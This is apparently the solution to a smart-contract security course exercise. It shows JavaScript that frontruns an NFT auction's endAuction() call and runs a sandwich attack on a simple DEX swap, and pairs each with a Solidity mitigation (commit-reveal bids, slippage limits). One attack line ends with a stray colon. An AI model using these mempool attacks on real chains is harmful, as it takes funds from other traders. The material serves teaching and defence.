Smart Contracts Exercise 08: Maximal Extractable Value – Solution

The solved Exercise 08 - Maximal Extractable Value can be found in this GitLab repository.

Solution to Task 1: NFT Auction Frontrunning

The solution employs the following strategy:

- 1. Monitor the mempool for the endAuction() transaction
- 2. Extract the gas parameters from the pending transaction
- 3. Submit our bid with higher gas parameters to ensure it gets mined first
- 4. Wait for our bid and the endAuction() transaction to be mined
- 5. Claim the NFT

```
// See the mempool
pendingBlock = await network.provider.send("eth_getBlockByNumber", [
  "pending",
  false,
]);
// Use our explorer function to show detailed transaction info
targetTx = await exploreMempoolTransactions(
  pendingBlock.transactions,
  auction,
  "endAuction"
):
const frontrunTx = {
  to: auction.target,
  data: auction.interface.encodeFunctionData("bid"),
  value: ethers.parseEther("1.5") + 1n, // Bid 1.5 ETH + 1 wei
  type: 2, // EIP-1559 transaction
  maxPriorityFeePerGas: targetTx.maxPriorityFeePerGas + 1000000000n, // +1 Gwei
 maxFeePerGas: targetTx.maxFeePerGas + 1000000000n, // +1 Gwei
 gasLimit: 500000, // Ensure enough gas is provided
};
// Send our frontrunning transaction
await player.sendTransaction(frontrunTx);
console.log("Player sent frontrunning transaction");
```

Possible Mitigation

Commit-Reveal Schemes: Users first submit a hash of their bid (commit), and later reveal the actual bid value. This prevents frontrunning since the actual bid values aren't visible in the mempool.

```
function commitBid(bytes32 bidHash) external {
    commitments[msg.sender] = bidHash;
}

function revealBid(uint value, bytes32 secret) external payable {
    bytes32 commitment = keccak256(abi.encodePacked(value, secret));
    require(commitments[msg.sender] == commitment, "Invalid commitment");
    // Process the actual bid here
}
```

Solution to Task 2: Sandwich Attack on a DEX

The vulnerability stems from how Automated Market Makers (AMMs) like SimpleDEX determine prices using the constant product formula $(x \cdot y = k)$. When a large swap occurs, it significantly moves the price, creating profitable opportunities for attackers who can manipulate transaction ordering. The SimpleDEX contract implements the standard AMM functionality:

```
function ethToUsdc() public payable returns (uint usdcBought) {
    // Ensure the pool has liquidity before attempting a swap
    require(usdcReserve > 0 && ethReserve > 0, ZeroReserves());
   uint ethSold = msg.value;
   uint inputWithFee = ethSold * 997;
    // Calculate USDC output using constant product formula with fee:
    // (x + dx * 0.997) * (y - dy) = x * y
    // where: x = ethReserve, y = usdcReserve, dx = ethSold, dy = usdcBought
   usdcBought = (inputWithFee * usdcReserve) / ((ethReserve * 1000) + inputWithFee);
    // Ensure the swap produces a meaningful amount of output tokens
    require(usdcBought > 0, InsufficientUsdcPurchase());
    // Transfer the USDC tokens to the user
   usdcToken.transfer(msg.sender, usdcBought);
   usdcReserve -= usdcBought;
    ethReserve += ethSold;
    // Emit event for off-chain tracking and transparency
    emit EthPurchase(msg.sender, usdcBought, ethSold);
   return usdcBought;
}
```

The sandwich attack consists of three steps:

- 1. **Frontrun**: Buy tokens (swap ETH for USDC) before the victim's transaction, increasing the price
- 2. Victim transaction: Let the victim's swap execute at the now-worse price

3. **Backrun**: Sell the tokens (swap USDC back to ETH) after the victim's transaction, when the price is even higher

```
// See the mempool
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
  "pending",
  false,
]);
// Use our explorer function to show detailed transaction info
const targetTx = await exploreMempoolTransactions(
  pendingBlock.transactions,
  simpleDEX,
  "ethToUsdc"
);
// Calculate ETH to use (all player's ETH minus some for gas)
const gasBuffer = ethers.parseEther("0.01"); // Keep 0.01 ETH for gas costs
const frontrunAmount = PLAYER_INITIAL_ETH - gasBuffer;
console.log(
  `\nExecuting frontrun: swapping ${ethers.formatEther(
    frontrunAmount
  )} ETH for USDC...`
);
const frontrunTx = await simpleDEX.connect(player).ethToUsdc({
  value: frontrunAmount,
 maxPriorityFeePerGas: targetTx.maxPriorityFeePerGas + BigInt(1000000000), // +1 Gwei
  maxFeePerGas: targetTx.maxFeePerGas + BigInt(1000000000), // +1 Gwei
});
mine(1);
// backrun the transaction
const backrunAmount = await usdcToken.balanceOf(player.address);
await usdcToken.connect(player).approve(simpleDEX.target, backrunAmount);
await simpleDEX.connect(player).usdcToEth(backrunAmount);
```

Possible Mitigation

DEX should support slippage tolerance to protect against significant price movements. If the price moves beyond the tolerance, the transaction reverts.

```
function ethToUsdcWithSlippage(uint minUsdcOut) external payable {
   uint usdcBought = calculateOutput(msg.value);
   require(usdcBought >= minUsdcOut, "Slippage exceeded");
   // Execute the swap
}
```